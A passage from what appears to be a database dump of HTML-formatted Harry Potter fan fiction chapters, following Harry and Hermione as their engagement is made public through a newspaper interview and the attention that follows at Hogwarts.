office.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry returned to Hogwarts just as the students were heading to the Great Hall for dinner.&nbsp; Entering the hall, he heading for the Gryffindor table and saw Hermione waiting for him with a semi-worried expression on her face.&nbsp; She was reading a book to keep her mind occupied, but Harry could tell that her heart wasn&#8217;t in it.&nbsp; Ron caught sight of him and grinned.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, there you are.&nbsp; Where&#8217;ve you been Harry?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione immediately spun around and looked up at him expectantly.&nbsp; He smiled warmly, and she relaxed instantly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hi guys, I was gone for the last few hours.&nbsp; I went to the Daily Prophet to see someone.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Who do you know at the Daily Prophet?&#8221; Ron asked and scratched his head.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry went to see a reporter,&#8221; Hermione answered for him, &#8220;Dumbledore suggested someone that Harry might want to see.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What do you mean?&#8221; asked the confused Weasley.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Just a second, Ron.&nbsp; Hermione&#8230;&#8221; Harry stated and turned towards his fianc&#233;, &#8220;Tom wants to meet with us this weekend.&nbsp; Is that all right with you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sure, that&#8217;s fine, I don&#8217;t have much studying to do this weekend anyway.&nbsp; When is he coming by?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My guess is sometime on Saturday.&nbsp; I figure that we&#8217;ll have it in our common room; it&#8217;s private.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Makes sense.&nbsp; That&#8217;s a good idea, Harry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Uh&#8230;excuse me&#8230;could someone please tell me what&#8217;s going on?&#8221; Ron groaned.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron, the reporter I went to see is named Tom Hutchinson; he&#8217;s an editorialist for the Daily Prophet.&nbsp; He&#8217;s coming here this weekend to do an interview with Hermione and I.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You serious?&nbsp; I thought that you didn&#8217;t want anybody to know!&#8221; he said a little too loudly, and Lavender nudged him slightly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;s right, you two, why do this now?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well Lavender, since that article was printed the Snitch, everyone is going to be hounding both Hermione and myself for information.&nbsp; I agreed to give the media what they want, but it&#8217;ll be on our terms.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry then turned towards Hermione again.<br>\n\n\n<br>\n\n\n</p>\n\n<p>&#8220;Herm, I want to let you know that you don&#8217;t have to say anything you don&#8217;t want to.&nbsp; I won&#8217;t force you to say anything.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry&#8230;&#8221; she smiled and took his hand, &#8220;&#8230;we&#8217;re in this together all right.&nbsp; I&#8217;m not going to let you get grilled all by yourself.&nbsp; That just wouldn&#8217;t be right.&nbsp; If anything, we should both get interrogated at the same time.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well&#8230;I wouldn&#8217;t exactly call it that&#8230;I hope.&#8221; She gently patted his arm.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t worry, love, we&#8217;ll be fine.&nbsp; You watch my back, and I watch yours&#8230;okay?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Agreed, but to be honest Hermione&#8230;&#8221; Harry&#8217;s eyes lowered slightly, &#8220;&#8230;I&#8217;d rather enjoy watching a lower part of your anatomy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She gasped as he pinched her behind and nearly jumped out of her seat, while Lavender sat there giggling.&nbsp; She glared at her fianc&#233; and stuck out her bottom lip in a classic pout.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Letch&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Nymph&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Jerk&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tease&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sweet&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Beautiful&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Loving&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Compassionate&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sexy&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Insatiable&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione sat there grinning at him, and Harry slithered his arms around her waist.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We tied this time, love.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re right; I&#8217;ll beat you next time,&#8221; he chuckled and kissed her cheek.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;By Merlin, you two are impossible!&#8221; Ron groaned and shook his head.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;s right; that was just ridiculous,&#8221; Lavender stated while holding in her laughter.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry wiggled his eyebrows suggestively.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Haven&#8217;t you ever heard of verbal foreplay?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, I so did not need to hear that Potter,&#8221; Ron groaned.</p>\n\n<p>&nbsp;</p>\n\n<p>The four friends broke out laughing making several students look at them questionably.&nbsp; Neither of them noticed that a certain someone was missing from their table.&nbsp; Cassandra was nowhere at the Gryffindor table.&nbsp; Harry noticed this because she&#8217;d always kept a certain &#8216;range&#8217; to him since her arrival at Hogwarts.&nbsp; His sharp eyes swept the room and located.&nbsp; It was nothing more than a glance, but he caught site of her location.</p>\n\n<p>&nbsp;</p>\n\n<p>Cassandra Cross was sitting at the Slytherin table, and even worse, she was sitting next to and conversing with none other than Draco Malfoy.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry wished that he could read lips, but he filed the information away into his mind where he&#8217;d been collecting things that were telling him not to trust Cassandra.&nbsp; He turned back to his friends in a matter of seconds and re-amerced himself in their conversation.&nbsp; Right now, Harry didn&#8217;t have time to play &#8216;guard dog&#8217;.&nbsp; He had to prepare for his first, and he sincerely hoped his last interview.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Author&#8217;s Notes:&nbsp; Sorry, this is only the first part of the chapter, but I&#8217;ve left my readers hanging for a long time.&nbsp; I&#8217;ve been really busy with my new job, and I&#8217;ve barely had time to look at this in the last few weeks.&nbsp; I&#8217;m gonna do my best to have the second half up within a week.</p> '),
	(244, 8, '\n\n\n\n<meta name="Generator" content="Microsoft Office HTML Filter 2.0">\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Originator" content="Microsoft Word 9">\n\n<title>Harry returned to Hogwarts just as the students were heading to the Great Hall for dinner</title>\n\n<style>\n\n</style>\n\n\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry did his very best throughout the week to think of anything but Tom&#8217;s arrival on the weekend.&nbsp; He&#8217;d buried himself in his schoolwork and kept his mind occupied.&nbsp; The only time he actually relaxed was at night when Hermione curled up next to him to sleep.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right everyone, that&#8217;s it for today!&#8221; Sirius stated to his class.&nbsp; His last Dark Arts class on Friday had Harry and his friends in it, and he rather enjoyed seeing them last before the weekend.</p>\n\n<p>&nbsp;</p>\n\n<p>The students groaned slightly; they&#8217;d all come to like their new weapons-training class very quickly.&nbsp; They returned their weapons to a large, wooden cabinet against the far wall.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry wiped his brow as he placed his sword back into its place.&nbsp; Sirius really had quite a collection &#8211; everything from swords, to daggers, to spears, to bows and arrows, and even a few axes.</p>\n\n<p>&nbsp;</p>\n\n<p>It was true that he had prior training to the rest of his friends, but he had to admit that each of them was doing quite well for their first time.&nbsp; Ron had become quite adept at using a quarterstaff, Lavender had found that she had a keen eye &#8211; perfect for archery, and Hermione had found that she could handle a sword quite well.&nbsp; Her favorite was a small short-sword, similar to the ones Harry had used at the carnival; it was light and easy to maneuver.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nearly snorted when he&#8217;d seen that Malfoy had chosen an axe to train with, and worse, he&#8217;d even tried swinging at people &#8211; intentionally!&nbsp; Thankfully, Sirius had all of his weapons enchanted so that they wouldn&#8217;t cut anything.</p>\n\n<p>&nbsp;</p>\n\n<p>The students were filing out when Sirius called Harry over to him.&nbsp; He nodded and told Hermione and Ron to meet up with him later.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, I&#8217;ve been meaning to ask you something, but I haven&#8217;t had time the last few days.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What is it?&#8221; the young wizard asked.&nbsp; Sirius crossed his arms over his chest.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I wanted to ask you something&#8230;personal.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Let me guess&#8230;about Herm and I&#8230;right?&#8221; His godfather grinned slightly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re as sharp as ever.&nbsp; So tell me&#8230;was the Snitch right?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I never told them anything, Sirius; they just printed up something they knew would sell plenty of papers.&nbsp; I told them not to write anything about Hermione and I, but they didn&#8217;t listen to me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That doesn&#8217;t answer my question Harry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What do want to know?&nbsp; You already know that Hermione and I serious about each other,&#8221; the young man said with a strained voice.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m not trying to pry into your personal life, Harry.&nbsp; I just want to know if I&#8217;ll get to see my best friends&#8217; son get married before I turn old and senile,&#8221; Sirius chuckled.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry&#8217;s stiff expression changed into a sly grin.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s on her finger all right,&#8221; he finally confessed.&nbsp; That actually made his godfather&#8217;s eyes widen.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You mean&#8230;you actually&#8230;proposed&#8230;&#8221; Sirius was shocked; he hadn&#8217;t thought that Harry was truly engaged.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re a smart wizard; you figure it out!&#8221; Harry laughed and walked out of the classroom.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius chuckled and uncrossed his arms.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;That boy is as sneaky as his father.&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>After an evening spent in the Gryffindor common room, Harry headed down the hallway into his own portrait hole; Hermione had headed up some time before saying that she was tired.&nbsp; Tomorrow was Saturday, and he realized that his waiting was over at last.</p>\n\n<p>&nbsp;</p>\n\n<p>Entering the common room, he saw that Hermione was nowhere to be found.&nbsp; Climbing the stairwell, he called her name, but she didn&#8217;t respond.&nbsp; Harry pushed open his door, and his body froze at the site before him.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione was sprawled out across his bed in a very provocative posture.&nbsp; Her deep brown eyes burned with passion, desire, and love.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;ve been waiting for you,&#8221; she purred softly.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry gulped and tugged on his collar nervously.&nbsp; She lay there wearing black robes, and upon closer inspection, he realized that they were his robes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What&#8217;s wrong, Harry?&nbsp; You don&#8217;t like my outfit?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione bent her leg at the knee and brought it closer to her waist.&nbsp; Harry groaned as her movements revealed a long, shapely leg and a creamy thigh.&nbsp; His eyes bulged out as he finally understood.&nbsp; She wasn&#8217;t just wearing his robes; she was wearing &#8216;only&#8217; his robes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione,&#8221; his voice was deep and husky.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;C&#8217;mere lover, let me take care of you tonight,&#8221; she beckoned.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry had no idea how he made it to the bed; he may very well have floated over to it.&nbsp; He let himself drop into her arms, and she carried him off into their own private world.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The next morning, Harry was summoned to Dumbledore&#8217;s office.&nbsp; Heading past the gargoyle statue, he ascended the stairs and entered the headmaster&#8217;s dwelling.&nbsp; Dumbledore was seated at his desk, and Tom Hutchinson was seated in one of the plush armchairs.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah, good morning, Harry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Good morning, professor.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hello Harry, I&#8217;m ready whenever you are.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you, Tom, you can follow me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I will see you two later,&#8221; Dumbledore stated as the men exited his office.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry led Tom up towards Gryffindor Tower and down the side passage towards his portrait hole.&nbsp; The gentleman and his wife bowed to Harry in greeting.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hot chocolate!&#8221; the young wizard spoke.&nbsp; The painting swung outward, and Harry held out his arm for Tom to proceed ahead of him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Interesting password,&#8221; he chuckled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s Hermione favorite beverage,&#8221; Harry replied.</p>\n\n<p>&nbsp;</p>\n\n<p>Tom emerged in the Common Room, and Hermione stood there waiting anxiously.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah, and who might this pretty, young lady be?&#8221; the reporter asked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tom Hutchinson, may I present Miss Hermione Granger.&#8221; Hermione shook his hand and put a cautious smile on her face.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How do you do, sir?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Nice to meet you, Miss Granger.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you, and please call me Hermione.&nbsp; Would you care to sit down?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I would at that.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Tom sat down in one of the armchairs, while Harry and Hermione took the couch.&nbsp; Hermione&#8217;s hand instinctively came to rest on Harry&#8217;s thigh, and he reached down to clasp her hand in his.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well&#8230;why don&#8217;t we begin then?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Certainly,&#8221; Hermione answered for the two of them.&nbsp; Her eyes flashed towards Harry, and he silently thanked her.&nbsp; He&#8217;d suddenly come down with a serious case of lockjaw.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tell me, Hermione, is it true that you and Harry are in fact engaged to be married?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;He certainly didn&#8217;t waste anytime,&#8217; she groaned silently.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I can answer that, Tom,&#8221; Harry cut in, &#8220;The answer is yes; Hermione is my fianc&#233;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>His voice was strong and determined, and it made the older man&#8217;s eyebrows quirk slightly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;When did you two start seeing one another?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well&#8230;we&#8217;ve been best friends since our first year at Hogwarts, and but we didn&#8217;t become romantically involved until early last year,&#8221; Harry answered.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s quite a long time ago.&nbsp; Why didn&#8217;t you make your relationship public knowledge?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We wanted to keep our personal lives private &#8211; just like everyone else does,&#8221; Hermione said firmly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You must understand that since you are Harry Potter, your life will be under a microscope every day.&nbsp; I mean I&#8217;m sure that people recognize you wherever you go!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tom, what people need to understand is that I&#8217;m not some infallible hero.&nbsp; I&#8217;m a human being and have made plenty of mistakes.&nbsp; You never learn anything if you don&#8217;t make mistakes, but I&#8217;m not about to jump into the spotlight every time someone wants me to.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I see; I respect that you want your privacy &#8211; so would I.&nbsp; So&#8230;Hermione, tell me, what made you and Harry get together.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t think it was one thing in particular; it was just a myriad of things over time.&nbsp; We&#8217;ve been best friends for so long; we always looked out for each other and were there when the other was feeling sad or lonely.&nbsp; Harry&#8217;s protected me on more than one occasion, and I&#8217;ve always tried to take care of him as well.&nbsp; I guess the moment I knew that I loved him was when I realized that I was never more happy than when I with Harry; he always makes smile or laugh just when I need it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How about you Harry?&nbsp; No disrespect to Miss Granger, but I can just imagine that there were many girls who wanted you as their significant other.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m well aware of that, and that&#8217;s why I chose Hermione.&nbsp; You see, everyone that I&#8217;ve met; the first thing they see is Harry Potter.&nbsp; They see nothing but my title, and therefore know nothing about the real me.&nbsp; Hermione is the one person who cares about me simply because I&#8217;m &#8216;me&#8217; and not Harry Potter.&nbsp; She&#8217;s only the girl I&#8217;ve ever met who loves the man more than his fame.&nbsp; That&#8217;s why I love her just the same; she keeps me grounded in my chaotic lifestyle.&nbsp; Without her, my life would be a lot more depressing and definitely sadder.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry reached up and curled his arm around her shoulders; Hermione smiled and leaned into his arms.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione&#8217;s my angel; she gives light to my otherwise empty heart.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>His fianc&#233; blushed deeply at his heartfelt words, and her eyes glistened.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m beginning to see why no one else has ever turned your head before, Harry,&#8221; Tom chuckled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, I&#8217;m not saying that I don&#8217;t find other girls pretty, but I&#8217;ve never met someone who has as a perfect mixture of beauty and brains as Hermione.&nbsp; Other girls may have the looks, but Hermione has a heart to go along with hers.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, you think too much of me,&#8221; Hermione chided him.&nbsp; He put a finger to her lips.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, I don&#8217;t sweetheart; I&#8217;m merely telling the truth.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Tom sat there grinning at the two, young lovers; there was no doubt that they were meant to be together.&nbsp; You could be blind and deaf and still feel the powerful aura the two were giving off.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I can see that you two are very much in love.&nbsp; When might your wedding be?&#8221; Tom asked with a raised eyebrow.</p>\n\n<p>&nbsp;</p>\n\n<p>That immediately got the young lovers&#8217; attention.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well&#8230;to be honest&#8230;we don&#8217;t really know,&#8221; Hermione said with a small grin.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah&#8230;we&#8217;re just enjoying being together right now; we&#8217;re not rushing anything.&nbsp; Plus, we have to finish up at Hogwarts and figure out our future together,&#8221; Harry added.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You both seem very aware of the decisions you&#8217;ve made; it&#8217;s rare to see such maturity in people your age these days.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m pretty immature, Tom; Hermione just rubs off on me,&#8221; Harry laughed, and she nudged him in the ribs.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, you&#8217;re not, love, you just act like you are.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>They all started laughing, and from then on, Harry and Hermione started to enjoy their interview with Tom Hutchinson.&nbsp; The reporter found that he liked conversing with the two, young adults; they definitely had some stories to tell; he could write a book on their lives if he wanted.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, now that You-Know-Who is finally dead, do you still think other dark wizards may come after you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know that Voldemort isn&#8217;t the only wizard to have evil ambitions.&nbsp; Believe me, I don&#8217;t relish the thought of having to fight against them one day, but I&#8217;m not about to stand aside and let the ones I love be hurt.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well put, Harry.&nbsp; How about you, Hermione?&nbsp; I&#8217;m sure that you are aware that being close to Harry Potter can be seriously dangerous.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione actually smirked at the reporter.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tom, Harry actually made the exact same argument when he proposed to me.&nbsp; I know that I&#8217;ll become a target, and others will try to use me against Harry, but I won&#8217;t leave his side. &nbsp;We&#8217;ve already had that happen to us several times, but we&#8217;re still together.&nbsp; The only thing I can say to a wizard who wants to use us against one another is&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;BRING IT ON!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron laughed as he read the last line of the article in the Daily Prophet.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione, what in the world possessed you to say that?&#8221; Lavender asked as she chuckled.</p>\n\n<p>&nbsp;</p>\n\n<p>Her roommate smiled from across the Gryffindor table.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m not afraid of the dangers that surround Harry.&nbsp; It&#8217;s not his fault that evil seeks him out, and I&#8217;m not about to stop loving him just because I might get hurt.&nbsp; Besides, I&#8217;m a lot tougher than I look,&#8221; she said with a smug grin.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry&#8217;s arm slid around her waist, and he nuzzled her ear.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sweetheart, I think your ego is just a bit swelled &#8211; don&#8217;t you think?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m your fianc&#233;, Harry; I think I&#8217;m allowed to be a little egotistical.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>His laughter rumbled in her ear.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m not complaining; you&#8217;re sexy when you&#8217;re bad,&#8221; he whispered so only she could hear him.&nbsp; She turned to face him and batted her long lashes at him.&nbsp; Licking her lips made him groan slightly, and she patted his thigh.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tease.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And a good one too, aren&#8217;t I?&#8221; she giggled.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry pressed his forehead against hers; he so wanted to pull her into his arms and kiss the bloody hell out of her.&nbsp; However, with all the students around, he couldn&#8217;t do more than give her a soft brush on the lips.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I really liked the article,&#8221; Lavender broke in, making the couple separate, &#8220;It&#8217;s much better than the Snitch&#8217;s headline.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, you actually have a story to go with the headlines this time.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tom did a very nice job; he was very professional,&#8221; Hermione stated firmly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I agree, it was very considerate of him to go out of his way for us,&#8221; Harry added.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Okay, change of subject!&nbsp; Hermione, did you happen to finish that Potions project because Ron and I only got half of ours done,&#8221; Lavender groaned.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, need a hand?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Please,&#8221; Ron begged and clasped his hands together.&nbsp; Harry chuckled at his best friend&#8217;s pleading look.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right, come on you two.&#8221; Hermione began packing up her things and tucked her wand back into her robes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Can I come too?&#8221; Harry asked with an innocent smile.&nbsp; His girlfriend chewed on her lip for a moment.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I guess so, I need someone to carry my books for me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry grinned wryly and grabbed his things.&nbsp; The four friends exited the Great Hall and headed down the corridor towards the library.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Author&#8217;s Notes:&nbsp; Sorry that I took so long with this chapter, but I&#8217;m not able to update as fast as I used to.&nbsp; I know that this story seems to be dragging on, but I promise that the action will pick up soon.</p>\n\n '),
	(244, 9, '\n\n\n\n<meta name="Generator" content="Microsoft Office HTML Filter 2.0">\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Originator" content="Microsoft Word 9">\n\n<title>Harry ducked behind the corner just before the mob caught up with him</title>\n\n<style>\n\n</style>\n\n\n\n<p>&nbsp;</p>\n\n<p>Harry ducked behind the corner just before the mob caught up with him.&nbsp; He buried himself in the shadows and prayed that no one would find him. &nbsp;He heard several voices shouting at each other then they slowly tapered off down the hallway.&nbsp; He blew out a long breath and pinched the bridge of his nose.&nbsp; This was getting ridiculous!</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;Don&#8217;t those girls have lives?&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>Since the announcement of his and Hermione&#8217;s engagement had been verified in the Daily Prophet, he&#8217;d had every girl he&#8217;d ever smiled at hounding him.&nbsp; They begged him to say it wasn&#8217;t true and why they were so much better for him than Hermione.&nbsp; He&#8217;d done his best to be polite and explained that he was taken, but they would not listen to him.&nbsp; He now had a group of at least twenty girls following him around Hogwarts wherever he went.&nbsp; It took him nearly twenty minutes to get to each of his classes because he had to loose his entourage.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry poked his head out into the hallway and saw that the coast was clear.&nbsp; He bolted down the corridor heading straight for his next class.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>By lunchtime that day, he was exhausted.&nbsp; Strolling into the Great Hall, he made his way towards the Gryffindor table.&nbsp; His customary seat next to Hermione was waiting for him, and he gratefully sank down next to her.&nbsp; Ron chuckled from across the table.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What&#8217;s wrong, Harry, you look a little beat?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Put a sock in it!&#8221; he growled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh my poor baby,&#8221; Hermione giggled and patted his head.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are those girls still torturing you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;ve heard of &#8216;groupies&#8217;, but this is insane!&#8221; Harry groaned and dropped his head onto the table.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione slid closer to him and stroked his hair.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t worry, love, I&#8217;ll take care of you.&#8221; His head immediately popped up.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Herm, if you can give me one day of peace, I swear, I&#8217;ll buy you an entire library!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s a tempting offer, but this one&#8217;s on me,&#8221; she replied and caressed his cheek.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry clasped her hand and kissed her fingers.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sweetheart, you&#8217;re the best!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Later that day, Hermione called together the school prefects but only invited the female one.&nbsp; She planned to put the word that Harry Potter wasn&#8217;t available &#8211; period!</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you all for coming on such short notice, but I have a most urgent matter on which to speak.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The girls looked at her 